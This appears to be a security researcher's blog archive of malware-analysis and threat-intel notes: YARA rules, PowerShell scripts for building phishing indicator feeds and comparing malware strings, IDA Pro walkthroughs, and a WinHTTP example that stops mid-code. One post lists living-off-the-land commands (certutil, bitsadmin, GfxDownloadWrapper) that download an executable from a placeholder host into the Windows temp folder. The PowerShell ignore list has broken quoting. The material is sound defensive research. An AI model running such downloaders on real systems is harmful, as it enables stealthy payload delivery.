Monday, April 27, 2020

phishingkit email phishing yara rule

/*
    Phishing Kit Emails
*/
rule PhishingKitEmail
{
    strings:
        $domain1 = "@gmail.com"
        $domain2 = "@yandex.com"
        $domain3 = "@outlook.com"
        $domain4 = "@protonmail.com"
        $domain5 = "@yahoo.com"
        $domain6 = "@hotmail.com"
        $domain7 = "@zoho.com"
        $domain8 = "@yandex.ru"
        $domain9 = "@163.com"
        $domain10 = "@aol.com"
        $domain11 = "@mail.ru"
    condition:
        (file_type contains "php") and (file_name contains "mail" or file_name contains "result" or file_name contains "next" or file_name contains "send" or file_name contains "connect" or file_name contains "info" or file_name contains "config" or file_name contains "process" or file_name contains "step" or file_name contains "success" or file_name contains "to" or file_name contains "login" or file_name contains "logon" or file_name contains "3d" or file_name contains "action" or file_name contains "pass" or file_name contains "user" or file_name contains "verif" or file_name contains "post" or file_name contains "finish" or file_name contains "log" or file_name contains "submit" or file_name contains "check") and any of ($domain*)
}

Thursday, April 23, 2020

Script Query UrlHaus , OpenPhish, PhishTank and Extract Dns, IPs for Threat Intel Feed

code to pull dns & ips from urlhaus, openphish, phishtank, etc.


#usage: iex (get-content .\GetData.ps1 | out-string) > output.txt
$debug = $true
$fileOutput = "dns.csv"
$fileIpOutput = "ip.csv"
$ignoreList = @("google.com", "www.google.com", "urlhaus.abuse.ch", "pastebin.com", "ak.imgfarm.com", "docs.google.com", "drive.google.com", "i.imgur.com", "img.sobot.com", "imgur.com", "www.imgur.com", "raw.githubusercontent.com", "github.com", "www.github.com", "adobe.com", "www.adobe.com", "ibm.com", "www.ibm.com", "dell.com", "www.dell.com", "bing.com", "www.bing.com", "msn.com", "www.msn.com", "documentcloud.adobe.com", "cisco.com", "www.cisco.com",  "l.yimg.com", "yimg.com", "dl.dropboxusercontent.com", "dropbox.com", "www.dropbox.com", "godaddy.com", "godaddysites.com", "files.constantcontact.com", "ipinfo.io", "bit.ly", "onedrive.live.com", "000webhostapp.com", "storage.googleapis.com", "wikileaks.org", "forms.gle", "go2l.ink", "capesandbox.com", "twitter.com", "paste.cryptolaemus.com", "cryptolaemus.com", "gist.githubusercontent.com", "bitbucket.org", "img1.wsimg.com", "cdn.discordapp.com", "web.mit.edu", "bit.do", "na3.docusign.net", "sway.office.com", "sites.google.com", "aka.ms", "login.microsoftonline.com", "track.smtpsendmail.com", "r20.rs6.net", "files.gamebanana.com", "sems.sas.com", "www.avast.com", "1.0.0.0", "bitly.com", "instagram.com", "www.instagram.com", "1.2.0.1073", "2016.3.3.0332", "3.0.0.2013", "31.128.173.853", "4.8.0.904", "cdn.speedof.me", "codeload.github.com", "tr.im", "urlz.fr", "accounts.google.com", "t.co", "fls.doubleclick.net", "1359940.fls.doubleclick.net", "rebrand.ly", "23.4.43.27", "app.smartsheet.com", "forms.office.com", "api.whatsapp.com", "form.jotform.com", "tinyurl.com", "firebasestorage.googleapis.com", "www.google.com.au", "go.pardot.com", "goo.gl", "click.icptrack.com", "online.jimmyjohns.com", "feeds.feedburner.com", "www.google.co.uk", "event.on24.com", "www.powr.io", "protect-us.mimecast.com", "visitor.constantcontact.com", "www.questionpro.com", "click.pstmrk.it", "code.jivosite.com", "apple.co", "www.google.com.mx", "linktr.ee", "www.vcita.com", "www.evernote.com", "www.123formbuilder.com", "tiny.cc", "app.box.com", "script.google.com", "disq.us", "click.email.microsoftemail.com", "fiddle.jshell.net", "cache.nebula.phx3.secureserver.net", "lnkd.in", "www.magazineluiza.com.br", "share.hsforms.com", "fbwat.ch", "app.dialoginsight.com", "cl.s10.exct.net", "etrack05.com", "www.alaskausa.org", "vk.com", "storage.cloud.google.com", "1drv.ms", "www.imcreator.com", "172.217.21.162", "sinacloud.net", "tinyurl.com", "is.gd", "note.youdao.com", "www.surveygizmo.com", "www.tinyurl.com", "surveygizmo.com", "ow.ly", "www.eater.com", "eater.com", "www.stats.gov.cn", "stats.gov.cn", "buff.ly", "www.angelfire.com", "epl.paypal-communication.com", "forms.zohopublic.com", "objectstorage.us-ashburn-1.oraclecloud.com", "t.yesware.com", "snip.ly", "cutt.ly", "mysurveygizmo.com", "www.mysurveygizmo.com", "gitlab.com", "ht.ly", "teamapp.com", "chat.chatra.io", "id.ee.co.uk", "paste.ee","youtube.com","www.youtube.com","play.google.com","google.com.br","docsend.com","www.google.com.br","www.emailmeform.com","emailmeform.com","web.facebook.com","upload.facebook.com","te.bathandbodyworks.com","tatatechnologies.workplace.com","statis.facebook.com","protect-eu.mimecast.com","notion.so","mtouch.facebook.com","messenger.com","j.mp","images2.imgbox.com","graph.facebook.com","fbthirdpartypixel.com","es-la.facebook.com","error.facebook.com","email.secureserver.net","edge-chat.workplace.com","edge-chat.facebook.com","deref-gmx.net","cs.atdmt.com","click.mail.onedrive.com","ca.surveygizmo.com","business.facebook.com","badge.facebook.com","apps.facebook.com","api.facebook.com","an.facebook.com","about.instagram.com","yadi.sk", "157.240.2.20", "www.notion.so","static.facebook.com","www.login-bank.org", "ctt.ec", "www.teamapp.com", "t.umblr.com", "upscri.be", "www.imeipro.info", "imeipro.info", "wisegeek.com", "deref-mail.com", "app.getaccept.com", "cdn2.hubspot.net", "slack-redir.net", "www.wisegeek.com", "chime.com", "www.chime.com", "b.link" , "hyperurl.co", "s3.ap-south-1.amazonaws.com", "podio.com", "s3-us-west-2.amazonaws.com", "tfaforms.com", "www.tfaforms.com", "webservice99.com", "mediafire.com", "www.mediafire.com", "smarturl.it","s3.us-east-1.amazonaws.com","www.restaurantdive.com" ,"rawcdn.githack.com"","https","http","ttp","ttps","lasvegas.craigslist.org","clicktime.symantec.com","survey.survicate.com","t.me","clicktotweet.com", "www.wetransfer.com", "wetransfer.com", "www.geocities.ws", "geocities.ws", "wa.me", "email.godaddy.com", "emailmarketing.locaweb.com.br", "dlvr.it", "www.sendspace.com", "v.ht", "52.109.124.1", "static.wixstatic.com","docs.wixstatic.com","image.prntscr.com,"d1yjjnpx0p53s8.cloudfront.net", "canva.com", "articulo.mercadolibre.com.mx", "e-mudhra.com", "www.canva.com", "listado.mercadolibre.com.mx")
#$urlIntelThem = "https://openphish.com/feed.txt"
#$urlIntelThem = "https://data.phishtank.com/data/online-valid.csv"
#$urlIntelThem = "https://phishstats.info/phish_score.txt"
#$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv/"
#$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv_recent/"
$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv_online/"
$rawHttpThem = ""
$rawIntelThem = ""
$dnsList = ""
$ipList = ""
$first = 0
if($debug){ Write-Output ("Requesting '{0}'" -f $urlIntelThem) }
$httpResponseThem = Invoke-WebRequest -UseDefaultCredentials $urlIntelThem
$rawHttpThem = $httpResponseThem.RawContent
if($debug){ Write-Output ("Downloaded '{0}'" -f $urlIntelThem) }
if($rawHttpThem.IndexOf("abuse.ch") -gt 0){
$rawIntelThem = $rawHttpThem.SubString($rawHttpThem.LastIndexOf("# ")+2)
}elseif($rawHttpThem.IndexOf("PhishStats") -gt 0){
$rawIntelThem = "date,score,url,ip`r`n{0}" -f $rawHttpThem.SubString($rawHttpThem.LastIndexOf("# ")+2)
}elseif($rawHttpThem.IndexOf("phish_id") -gt 0){
$rawIntelThem = $rawHttpThem.SubString($rawHttpThem.IndexOf("phish_id"))
}else{
$first = $rawHttpThem.IndexOf("http")
$rawIntelThem = "url`r`n{0}" -f $rawHttpThem.SubString($first)
}
$csvThemIntel = ConvertFrom-Csv $rawIntelThem
$outputList = @()
$outputIpList = @()
$savedCount = 0
$savedIpCount = 0
$ignoredCount = 0
foreach($rowIntelThem in $csvThemIntel){
try {
$domainThem = ([System.Uri]::new($rowIntelThem.url).Host).ToString()
$ignoreIt = 0
foreach($ignoredItem in $ignoreList){
if($domainThem.ToLower() -eq $ignoredItem.ToLower()){
$ignoreIt = 1
$ignoredCount = $ignoredCount +1
break
}
}
if($ignoreIt -eq 0){
$ipThem = [IPAddress] $domainThem
$newHit = New-Object PSObject
$newHit | add-member Noteproperty ip $ipThem
$outputIpList += $newHit
$savedIpCount = $savedIpCount + 1
}
}
catch{
if($domainThem.ToLower().StartsWith("www.")){
#double count it (www.ebay.com and ebay.com)
$newHit = New-Object PSObject
$newHit | add-member Noteproperty dns $domainThem.SubString(4)
$outputList += $newHit
$savedCount = $savedCount + 1
}
$newHit = New-Object PSObject
$newHit | add-member Noteproperty dns $domainThem
$outputList += $newHit
$savedCount = $savedCount + 1
}
}
if($debug){ Write-Output ("Exporting '{0}'" -f $fileOutput) }
$outputList | Export-Csv -NoTypeInformation -Path $fileOutput
if($debug){ Write-Output ("Saved '{0}'" -f $fileOutput) }
if($debug){ Write-Output ("Exporting '{0}'" -f $fileIpOutput) }
$outputIpList | Export-Csv -NoTypeInformation -Path $fileIpOutput
if($debug){ Write-Output ("Saved '{0}'" -f $fileIpOutput) }
if($debug){ Write-Output ("Dns='{0}', Ips='{1}', Ignored='{2}'" -f $savedCount, $savedIpCount, $ignoredCount) }
if($debug){
foreach($dns in $outputList){
if($dnsList -eq ""){
$dnsList = $dns.dns
}else{
$dnsList = "{0},{1}" -f $dnsList , $dns.dns
}
}
foreach($ip in $outputIpList){
if($ipList -eq ""){
$ipList = $ip.ip
}else{
$ipList = "{0},{1}" -f $ipList , $ip.ip
}
}
Write-Output $dnsList
Write-Output $ipList
}

Wednesday, April 22, 2020

Query Sysmon Logs using Powershell Get-WinEvent

get-winevent -filterhashtable @{logname="Microsoft-Windows-Sysmon/Operational";id=1} | select Message |foreach-object {$a = $_.Message.split([Environment]::NewLine); ""; foreach ($a2 in $a) {$b = $a2.split(':',2); $key = $b[0]; $value = $b[1]; if($key -eq "CommandLine" -or $key -eq "ParentCommandLine"){"{0}={1}" -f ($key,$value)}}}


sample output

CommandLine= sh "C:/Program Files/Git/mingw64/libexec/git-core\\git-update-git-for-windows" --quiet --gui
ParentCommandLine= git.exe update-git-for-windows --quiet --gui

CommandLine= git.exe update-git-for-windows --quiet --gui
ParentCommandLine= cmd\git.exe update-git-for-windows --quiet --gui

CommandLine= cmd\git.exe update-git-for-windows --quiet --gui
ParentCommandLine= "C:\Program Files\Git\git-bash.exe" --hide --no-needs-console --command=cmd\git.exe update-git-for-windows --quiet --gui

CommandLine= "C:\Program Files\Git\git-bash.exe" --hide --no-needs-console --command=cmd\git.exe update-git-for-windows --quiet --gui
ParentCommandLine= C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule

Monday, April 20, 2020

GfxDownloadWrapper.exe downloader

cd c:\windows\system32\DriverStore\FileRepository\ki132337.inf_amd64_223d6831ffa64ab1

(sub folder may vary)

GfxDownloadWrapper.exe https://somewhere/test.exe c:\windows\temp\test.exe

dir c:\windows\temp\test.exe


expand.exe files copied

to copy from a file share

expand.exe \\share\test.txt c:\windows\temp\test.exe

esentutl file copies

Get from a file share

esentutl.exe /y \\share\test.exe /d c:\windows\temp\test.exe

certutil downloader

certutil.exe -urlcache -split -f https://somewhere/test.exe c:\windows\temp\test.exe

dir c:\windows\temp\test.exe

bitsadmin download

bitsadmin /CREATE TestJob
bitsadmin /ADDFILE TestJob https://somewhere.com/file.exe c:\windows\temp\file.exe
bitsadmin /RESUME TestJob
bitsadmin /INFO TestJob /VERBOSE
bitsadmin /COMPLETE TestJob

dir c:\windows\temp\file.exe

bitsadmin timeout troubleshooting error

List all BITSADMIN jobs and their status

bitsadmin /LIST /ALLUSERS /VERBOSE | findstr "STATE DISPLAY"


Troubleshoot a specific job

bitsadmin /GETERROR MyJobsName

Monday, April 13, 2020

Wmic List all Processes, sort in powershell


$processes = wmic.exe process list |foreach-object {$k = $_ -split '\s+';foreach($i in $k){if($i -notmatch "\\" -and $i.endswith(".exe")){$i.tolower()}}} |sort-object|get-unique

$processes

---------------
example output
---------------
adobearm.exe
aoservice.exe
apmsgfwd.exe
apntex.exe
apoint.exe
applicationframehost.exe
... more ...




---------------
example output
---------------
$processpaths = wmic.exe process list |foreach-object {$k = $_ -split '\s+';foreach($i in $k){if($i -notmatch "\\" -and $i.endswith(".exe")){$i.tolower()}}} |sort-object|get-unique|foreach-object{get-process -name ($_ -replace ".{4}$") | select path} |foreach-object {$_.path.tolower()} |get-unique

$processpaths

---------------
example output
---------------
c:\program files (x86)\common files\adobe\arm\1.0\adobearm.exe
c:\program files\citrix\secure access client\aoservice.exe
c:\windows\system32\delltpad\apmsgfwd.exe
c:\windows\system32\delltpad\apntex.exe
c:\windows\system32\delltpad\apoint.exe
c:\windows\system32\applicationframehost.exe
c:\windows\system32\delltpad\apremote.exe
... more ...

Nullsoft Installer in IDA Pro

Just my attempt to review the start of the nullsoft installer (EasyPDfCombine)

MD5             C95772694EA68F394DAA4AC144BD40FB                                   

start
- call ds:InitCommonControls  [ initialized common controls in windows ]
- call ds:SetErrorMode (8001h) [ send critical errors to calling process, no prompt if error]
- call ds:OleInitialize   [initialize COM (component model object) library ]
- call sub_xxxxx1
        -- call ds:GetModuleHandleA [ gets handle to the KERNEL32.DLL ]
        -- call ds:LoadLibraryA [ loads KERNEL32.DLL into memory ]
        -- call ds:GetProcessAddress [ gets the address of GetDiskFreeSpaceExW method, dynamically loaded, it is not in the import table ]
- call ds:SHGetFileInfoW [ gets info like file name, attribute, ioc of file ]
- call sub_xxxxx2
        -- call ds:lstrcpynW [ makes a copy of the NSIS error message string ]
- call ds:CommandLineW [ gets the command line string for this process ]
- call sub_xxxxx2
        -- call ds:lstrcpynW [ makes a copy of the command line string  ]
- call ds:GetModuleHandleW [ gets a handle to the file of this current process ]
- call sub_xxxxx3  [ arguments are Quote(") and the Command Line String ]
        -- while character is not a Quote(")
            -- call ds:CharNextW [] to move to the next character in Command line String
- call ds:CharNextW [move past the Quote(") that was just found]
- while character is not a Space (0x20)
        -- inc eax [ move to the next letter in the command line string]
- inc eax  (past Quote(" , 0x22))
- find the flag ("/S" , 0x2f53)
- find the flag ("/NCRC", 0x2f4E435243)   (note: in assembly listed CNCR (reversed)
- call sub_xxxxx2
        -- call ds:lstrcpynW [ makes a copy of the command line string  ]
- call ds:GetTempPathW [ gets path of temp folder ]
- call ds:GetWindowsDirectoryW [ gets path of windows folder ]
- call lstrcatW [ append "Temp" to the folder so c:\windows\temp ]
- call sub_xxxxx4
     -- call sub_xxxxx5   [ did not finish ]
     -- call sub_xxxxx6   [ did not finish ]
     -- call sub_xxxxx7   [ did not finish ]
     -- call ds:CreateDirectoryW
     -- call sub_xxxxx8   [ did not finish ]
- call ds:GetTempPathW [ gets path of temp folder ]
- call lstrcatW [ append the word "Low" to the temp folder ]
       note: changes it from C:\Users\x\AppData\Local to C:\Users\x\AppData\LocalLow
- call ds:SetEnvironmentVariableW [ set T to the temp folder ]
- call ds:SetEnvironmentVariableW [ set TMP to the temp folder ]
- call ds:DeleteFileW [ ]
- ... much more ...
- call lstrcatW [ append "~nsu.tmp" to the temp folder path ]
- ... more ...
- call ds:CreateDirectoryW [ create a new temp folder ]
- call ds:SetCurrentDirectoryW [ move to the newly created folder ]
- call sub_xxxxx2
- call sub_xxxxx2
- call sub_xxxxx9 [works on CurrentVersion registry and Quick Launch registry]
- call ds:DeleteFileW
- call ds:CopyFileW
- call sub_xxxxx9 [works on CurrentVersion registry and Quick Launch registry]
- call sub_xxxxx10
    -- call ds:CreateProcess
    -- call ds:CloseHandle
- call ds:CloseHandle
- ... more ...

C++ Console App in IDA Pro find Actual Main Function

In C++

XorTesting.exe

has

XorTesting.cpp

which looks like

int main(int argc, char * argv[])
{
    if ((argc == 3 && strlen(argv[1]) == 1 && argv[1][0] == '0') ||
        (argc == 2 && strlen(argv[1]) == 1 && argv[1][0] == '1'))
    {
            .... more code ....
    }
}

----------
In IDA Pro here is how to find the actual main function
----------

----------
start proc
   jmp start_0
----------

----------
start_0 proc
   push ebp
   mov ebp, esp
   call sub_xxxxx1 (just calls init functions)
   pop ebp
   return
-----------

-----------
sub_xxxxx1 proc
  push ebp
  mov ebp, esp
  call sub_xxxxx2  (security cookie check)
  call sub_xxxxx3  (initializes and then calls actual main function)
  pop ebp
  ret
-----------

-----------
sub_xxxxx3 proc
  var_44= dword ptr -44h
  var_40= dword ptr -40h
  var_3C= dword ptr -3Ch
  ... many more ...
  push ebp
  mov ebp, esp
  push 0FFFFFFFEh
  ...
  call j__initterm
  ...
  call ds:___guard_check_icall_fptr
  ...
  call j__register_threat_local_exe_atexit_callback
  add esp, 4
  loc_xxxxxx:
    call sub_xxxxx4 (will end up calling the actual main function)
    ...
    call j_exit
    ... lots more code...
------------


------------
sub_xxxxx4 proc
  var_C= dword ptr -0Ch
  var_8= dword ptr -8h
  var_4= dword ptr -4h
  push ebp
  mov ebp, esp
  ...
  call j__get_initial_narrow_environment
  ...
  call j__p___argv
  ...
  call j__p___argc
  ...
  call j__sub_xxxxx5   (will end up calling the actual main function)
  add esp, 0Ch
  mov esp, ebp
  pop ebp
  return
-------------

-------------
sub_xxxxx5 proc
  jmp sub_xxxxx6   (the ACTUAL main function code)
-------------

-------------
sub_xxxxx6 proc
  var_178= dword ptr -178h
  var_174= dword ptr -174h
  var_168= dword ptr -168h
  ... many more ...
  push ebp
  mov ebp, esp
  sub esp, 178h
  ...
  rep stosd
  mov eax, __security_cookie
  ...
  cmp [ebp+arg_0], 3       (equivalent of C++   "if argc == 3")
  ...
  call j_strlen          (equivalent of c++ 'strlen' call)
  ... rest of code ...
-------------

Xor brutexor.py Example

C++ code to xor encrypt or decrypt (below)
When compiled it builds XorTesting.exe
You can find the hardcoded value by running brutexor.py ( http://hooked-on-mnemonics.blogspot.com/p/iheartxor.html )

$> python.exe brutexor.py XorTesting.exe | findstr http

0x672f key 0x1f  http://www.google.com/happy


-----------------------
C++ code
-----------------------
#include <stdio.h>
#include <string.h>
#include <cstdlib>

int main(int argc, char * argv[])
{
    if ((argc == 3 && strlen(argv[1]) == 1 && argv[1][0] == '0') ||
        (argc == 2 && strlen(argv[1]) == 1 && argv[1][0] == '1'))
    {
        char parameter[50] = "wkkohhh1xppxsz1|pr0w~oof\0";
        char xord[50];
        int key = 31;
        if (argv[1][0] == '0')
        {
            printf("Running in 'user input(0)' mode\n\n");
            strncpy_s(parameter, argv[2], strlen(argv[2]));

            unsigned int i = 0;
            for (i = 0; i < strlen(parameter); i++)
            {
                xord[i] = parameter[i] ^ key;
            }
            xord[i] = '\0';

            printf("key   : 0x%x\n", key);
            printf("before: %s\n", parameter);
            printf("after : %s\n", xord);
        }
        else if (argv[1][0] == '1')
        {
            printf("Running in 'hardcoded value (1)' mode\n\n");

            unsigned int i = 0;
            for (i = 0; i < strlen(parameter); i++)
            {
                xord[i] = parameter[i] ^ key;
            }
            xord[i] = '\0';

            printf("key   : 0x%x\n", key);
            printf("before: %s\n", parameter);
            printf("after : %s\n", xord);
        }
    }
    else
        printf("Usage:\n  0 = user input mode\n  1 = hardcoded value mode\n\n  XorTesting.exe 0 cleartextvalue\n  XorTesting.exe 1");

    return EXIT_SUCCESS;
}

Friday, April 10, 2020

Find all Malware in a Folder with a Single String in it

# the keyword string to search for
$stringToSearchFor = "http://nsis.sf.net/NSIS_Error";

# run strings on all malware *.bin files in the directory and output strings to .bin.txt files
get-childitem \ -filter *.bin |select name,fullname|foreach-object {$cmd = "/c strings64.exe -n 8 `""+$_.fullname +"`" > `""+$_.name+".txt`""; start-process -filepath "cmd.exe" -argumentlist $cmd}

# search each *.bin.txt strings results for that keyword
get-childitem \ -filter *.bin.txt| select name,fullname|foreach-object{[string []] $lines = Get-Content -Path $_.f
ullname;if($lines -contains $stringToSearchFor){$_.name}}

----------
search all malware files for a single string
----------
sample output
----------
EasyPDFCombine.bin.txt
EverydayLookup.bin.txt
FromDocToPdf.bin.txt
Internet Speed Tracker.bin.txt
YourTemplateFinder.bin.txt

Use Powershell to Run Yara against entire Folder of Malware

# run "myrules.yar" against all *.bin files in a folder and print to standard output
get-childitem \ -filter *.bin |select fullname|foreach-object {$cmd ="&./yara64.exe myrules.yar "+ $_.fullname + " -s"; iex $cmd }

---------

run yara against all malware files in a folder

---------
sample output
---------
MindsparkToolbar \EasyPDFCombine.bin
0x4a34e:$eula: http://eula.mindspark.com/ask/0
0x4b2e6:$eula: http://eula.mindspark.com/ask/0
0xae8c:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00
0xafca:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00
0xb090:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00
MindsparkToolbar \EverydayLookup.bin
0x5c276:$eula: http://eula.mindspark.com/ask/0
0x5d20e:$eula: http://eula.mindspark.com/ask/0
0xc414:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00
0xc55a:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00
0xc620:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00
MindsparkToolbar \FromDocToPdf.bin
0x5fbce:$eula: http://eula.mindspark.com/ask/0
0x60b69:$eula: http://eula.mindspark.com/ask/0
0x5f05f:$publisher: Mindspark Interactive Network, Inc.
0x5f08d:$publisher: Mindspark Interactive Network, Inc.
0x600be:$publisher: Mindspark Interactive Network, Inc.
0x600ec:$publisher: Mindspark Interactive Network, Inc.
0xae8c:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00
0xafca:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00
0xb090:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00
error: could not open file: \Internet
MindsparkToolbar \YourTemplateFinder.bin
0x5b498:$eula: http://eula.mindspark.com/ask/0
0x5c43a:$eula: http://eula.mindspark.com/ask/0
0xae8c:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00
0xafe2:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00
0xb0a8:$publisherWide: M\x00i\x00n\x00d\x00s\x00p\x00a\x00r\x00k\x00 \x00I\x00n\x00t\x00e\x00r\x00a\x00c\x00t\x00i\x00v\x00e\x00 \x00N\x00e\x00t\x00w\x00o\x00r\x00k\x00,\x00 \x00I\x00n\x00c\x00.\x00

Compare Malware Strings of Multiple Files for Matches

# run strings on all malware *.bin files in the directory and output strings to .bin.txt files
get-childitem \ -filter *.bin |select name,fullname|foreach-object {$cmd = "/c strings64.exe -n 8 `""+$_.fullname +"`" > `""+$_.name+".txt`""; start-process -filepath "cmd.exe" -argumentlist $cmd}

# compare every .bin.txt files and return only strings that are in ALL of them
$counter=0; $matches = @(); $lines1 = @(); get-childitem \ -filter *.bin.txt |select name,fullname|foreach-object {if($counter -eq 0){$counter++; $lines1=get-content  -path $_.fullname; $lines1=$lines1|sort;}else{$matches=@();$counter++;$lines2=get-content -path $_.fullname;$lines2=$lines2|sort;foreach($str in $lines1){if($lines2 -contains $str) {$matches += $str}};$lines1=$matches;}};$matches|get-unique

-----------
find matches in multiple malware files
find matches in multiple lists
find matches in multiple arrays

-----------------
Sample output
-----------------
!This program cannot be run in DOS mode.
CloseHandle
GetCurrentProcess
GetProcAddress
KERNEL32.dll
USER32.dll

Compare Malware Strings of 2 Files for Matches

# run strings on both malware samples
strings64.exe -n 8 malware1.exe > str1.txt
strings64.exe -n 8  malware2.exe > str2.txt

# put the results into 2 arrays
[string []] $lines1 = Get-Content -Path str1.txt
[string []] $lines2 = Get-Content -Path str2.txt

# sort the arrays
$lines1 = $lines1 |sort
$lines2 = $lines2 |sort

# find matches in the 2 lists
$matches = @()
foreach ($str in $lines1) {if($lines2 -contains $str) {$matches += $str}}
$matches|get-unique


-----------
find matches in 2 arrays
find matches in 2 lists
find lines in 2 files
find lines in 2 arrays
compare 2 malware strings
compare 2 files
compare 2 arrays


-----------------
Sample output
-----------------
!This program cannot be run in DOS mode.
#+3;CScs
#http://crl.verisign.com/pca3-g5.crl04
#http://logo.verisign.com/vslogo.gif04
%u.%u%s%s
%VeriSign Class 3 Code Signing 2010 CA
%VeriSign Class 3 Code Signing 2010 CA0
%VeriSign Class 3 Code Signing 2010 CA0
*?|<>/":
... %d%%
.DEFAULT\Control Panel\International
.http://crl.thawte.com/ThawteTimestampingCA.crl0
@sS\-Z?G
[Rename]
\Microsoft\Internet Explorer\Quick Launch
~nsu.tmp
+http://ts-aia.ws.symantec.com/tss-ca-g2.cer0<
+http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(



-----------------
from linux try this
------------------
strings 1.bin | sort > output1.txt
strings 2.bin | sort > output2.txt
comm -12 output1.txt output2.txt > same.txt

Yara Basics - Regular Expression

rule HasUrls
{
strings:
$urlregex = /http(s|):\/\/[^\s]+\.[^\s]{2,5}/
$urlregexwide = /http(s|):\/\/[^\s]+\.[^\s]{2,5}/ wide
condition:
any of them
}

Yara Basics - Unicode wide

rule IsNullsoftInstaller
{
strings:
$nullsoft = "http://nsis.sf.net/NSIS_Error" wide
condition:
any of them
}

Yara Basics - Magic Text

rule IsExecutable
{
    strings:
        $exe = { 4D 5A }

    condition:
        $exe at 0
}


Tuesday, April 7, 2020

c++ winhttp example

#include <windows.h>
#include <winhttp.h>
#include <stdio.h>
#pragma comment(lib, "winhttp.lib")

int main()
{
    LPCWSTR httpUserAgent = L"neonprimetime Simulation/1.0";
    LPCWSTR httpUserAgentProxy = L"neonprimetime Proxy Simulation/1.0";
    //INTERNET_PORT httpPort = INTERNET_DEFAULT_HTTPS_PORT;
    INTERNET_PORT httpPort = INTERNET_DEFAULT_HTTP_PORT;
    //DWORD isHttpsEnabled = WINHTTP_FLAG_SECURE;
    DWORD isHttpsEnabled = 0;
    LPCWSTR httpHost = L"149.154.165.120";
    //LPCWSTR httpHost = L"www.microsoft.com";
    LPCWSTR httpFullUrl = L"http://149.154.165.120/";
    //LPCWSTR httpFullUrl = L"https://www.microsoft.com/";
    LPCWSTR httpMethod = L"GET";
    LPCWSTR httpPath = L"/";
    DWORD lenAvailableHtmlToDownload = 0;
    DWORD lenHtmlActuallyDownloaded = 0;
    LPSTR strDownloadedHtmlBuffer;
    BOOL isRequestSuccessful = FALSE;
    BOOL isProxyFound = FALSE;
    BOOL isProxySet = FALSE;
    HINTERNET  httpSession = NULL;
    HINTERNET  httpConnection = NULL;
    HINTERNET  httpRequest = NULL;

    // open user agent session
    httpSession = WinHttpOpen(httpUserAgent, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    if (httpSession)
    {
        printf("session opened\n");
        if (!WinHttpSetTimeouts(httpSession, 1000, 1000, 1000, 1000))
            printf("Error %u in WinHttpSetTimeouts.\n", GetLastError());

        printf("connection timeouts set\n");

        // open connection to host
        httpConnection = WinHttpConnect(httpSession, httpHost, httpPort, 0);
        if (httpConnection)
        {
            printf("connection opened\n");
            // open request to path
            httpRequest = WinHttpOpenRequest(httpConnection, httpMethod, httpPath, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, isHttpsEnabled);
            if (httpRequest)
            {
                printf("request opened\n");
                // send request to host
                isRequestSuccessful = WinHttpSendRequest(httpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
                if (isRequestSuccessful)
                {
                    printf("requesst sent\n");
                    // receive response from host
